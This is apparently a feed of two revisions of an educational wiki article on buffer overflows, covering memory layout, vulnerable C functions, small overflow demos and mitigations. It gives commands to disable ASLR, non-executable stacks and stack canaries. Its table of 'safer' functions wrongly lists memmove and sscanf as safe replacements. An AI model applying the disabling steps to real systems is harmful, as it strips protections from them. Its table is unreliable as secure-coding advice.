== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16992</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16992"/>
		<updated>2024-12-11T17:12:10Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Heap-based Buffer Overflow */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow (gdb). &lt;br /&gt;
The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow (gdb).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.&lt;br /&gt;
Special system calls brk() and mmap() can be used by Linux programs to achieve that.&lt;br /&gt;
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To be efficient, any malloc() implementation stores a&lt;br /&gt;
lot of meta-data about the location of the chunks, the size of the chunks, and perhaps&lt;br /&gt;
some special areas for small chunks. It also organizes this information. In dlmalloc, it is&lt;br /&gt;
organized into buckets, and in many other malloc implementations it is organized into&lt;br /&gt;
a balanced tree structure. This information is stored in two places: in global variables&lt;br /&gt;
used by the malloc() implementation itself, and in the memory block before and / or&lt;br /&gt;
after the allocated user space. Thus, the heap contains important information about&lt;br /&gt;
the state of memory stored directly after any user-allocated buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
